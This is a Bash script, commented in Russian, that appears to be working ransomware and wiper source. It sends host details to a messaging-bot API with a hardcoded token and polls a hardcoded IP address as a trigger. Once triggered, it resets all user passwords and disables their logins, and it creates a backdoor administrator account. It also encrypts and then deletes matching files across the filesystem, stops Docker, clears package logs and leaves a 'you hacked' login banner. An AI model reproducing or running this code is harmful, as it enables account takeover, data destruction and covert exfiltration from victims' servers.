#$(openssl enc -base64 -d <<< $t)


PASS_ENC=$1 #получаем через аргумент пароль для шифрования
PASS_DEC=$(openssl enc -base64 -d <<< $1) 
TOKEN='10281435:Dya20FGCFPXP2Ki5iJSXLziX'
URL='https://pototo.app/api'$TOKEN
MSG_URL=$URL'/sendMessage?chat_id='
ID_MSG='1297663267
560206067' #ID учеток в телеге
NAME_SCRIPT_CRYPT='crypt.sh' #имя текущего скрипта
LOGIN_NEWUSER='ferrum' #логин для нового юзера
PASS_NEWUSER='MEGApassWORD' #пароль для нового юзера

#проверка рута
check_root ()
{
    if [ "$EUID" -ne 0 ]
        then echo "Please run as root"
        rm -rf $PATH_TEMP_FILE/$NAME_SCRIPT_CRYPT
        exit
    fi
}

#проверка на наличие установленного openssl
check_openssl ()
{
    if rpm -q openssl
    then
        echo "OpenSSL Found!"
    else
        echo "OpenSSL Not Found."
        echo "Install OpenSSL and clear yum log."
        yum install openssl -y
        rm -rf /var/log/yum*
    fi
}

#проверка на наличие установленного curl
check_curl ()
{
    if rpm -q curl
    then
        echo "CURL Found!"
    else
        echo "CURL Not Found."
        echo "Install curl and clear yum log."
        yum install curl -y
        rm -rf /var/log/yum*
    fi
}

#функция отправки сообщения в телегу $1 это ID получателя $2 сообщение
send_message ()
{
	res=$(curl -s --insecure --data-urlencode "text=$2" "$MSG_URL$1&" &)
}

#отправляем в телегу сообщение о начале работы скрипта
tele_send_fase1 ()
{
	for id in $ID_MSG
	do
	send_message $id "
SCRIPT STARTED ON $(hostname)

INFO:
$(uname -a)

Login Users:
$(who)

Uptime:
$(uptime)

ID:
$(id)
"
	done
}

# меняем пароли юзерам на наш
user_change ()
{
	for name in 'grep -F "$" /etc/shadow | cut -d: -f1 | grep -v "root"' # перебираем юзеров в passwd
	do
           #pkill -9 -u $name
	   echo -e "megapassword\nmegapassword\n" | passwd $name # смена пароля юзеров
	   deluser $name wheel 
           usermod --shell /bin/nologin $name # no login
	done
}

#создаем нашу учетную запись
create_user ()
{
	useradd $LOGIN_NEWUSER
	echo -e "$PASS_NEWUSER\n$PASS_NEWUSER\n" | passwd $LOGIN_NEWUSER #  передаем в новый пароль
	usermod -aG wheel $LOGIN_NEWUSER
}

#сообщение о взломе
create_message ()
{
cat>/etc/motd<<EOF
██╗   ██╗ ██████╗ ██╗   ██╗    ██╗  ██╗ █████╗  ██████╗██╗  ██╗███████╗██████╗ 
╚██╗ ██╔╝██╔═══██╗██║   ██║    ██║  ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
 ╚████╔╝ ██║   ██║██║   ██║    ███████║███████║██║     █████╔╝ █████╗  ██║  ██║
  ╚██╔╝  ██║   ██║██║   ██║    ██╔══██║██╔══██║██║     ██╔═██╗ ██╔══╝  ██║  ██║
   ██║   ╚██████╔╝╚██████╔╝    ██║  ██║██║  ██║╚██████╗██║  ██╗███████╗██████╔╝
   ╚═╝    ╚═════╝  ╚═════╝     ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝╚═════╝ 
                                                                               
MESSAGE MESSAGE MESSAGE MESSAGE MESSAGE MESSAGE MESSAGE MESSAGE MESSAGE MESSAGE MESSAGE 
EOF
}

#шифруем файлы в которых совпадает фраза
encrypt_grep_files ()
{
	for id in $ID_MSG
	do
	send_message $id "$(hostname): encrypt grep files started."
	done
	grep -r '/' -e "fuck" --include=\*.{txt,sh,py} -l | xargs -P 10 -I FILE openssl enc -aes-256-cbc -salt -pass pass:$PASS_DEC -in FILE -out FILE.☢
	for id in $ID_MSG
	do
	send_message $id "$(hostname): encrypt grep files Done. Delete files."
	done
	grep -r '/' -e "fuck" --include=\*.{txt,sh,py} -l | xargs rm -rf FILE
	#dd if=/dev/zero of=/null
	#rm -rf /null
}

docker_stop_and_encrypt ()
{
	if rpm -q docker
    then
		docker stop $(docker ps -aq)
		systemctl stop docker && systemctl disable docker
	else
		true
	fi
}

loop_wget_telegram ()
{
while true
do
   sleep 60
   #wget http://185.141.25.168/attack_check/0.sh -P /tmp --quiet --spider
   wget http://185.141.25.168/check_attack/0.txt -P /tmp --spider --quiet --timeout=5
   if [ $? = 0 ];then
   user_change
   create_user
   encrypt_grep_files
   docker_stop_and_encrypt
   create_message
   elif [ $? = 4 ];then
   printf "\ send telegram\n"
   telegram_send_fase1
   printf "\n send telegram \n"
   telegram_send_fase1
   fi
done
}





main ()
{
	check_root
	check_curl
	check_openssl
        loop_wget_telegram
	#tele_send_fase1
	#user_change
	#create_user
	#encrypt_grep_files
	#docker_stop_and_encrypt
	#create_message
}

main
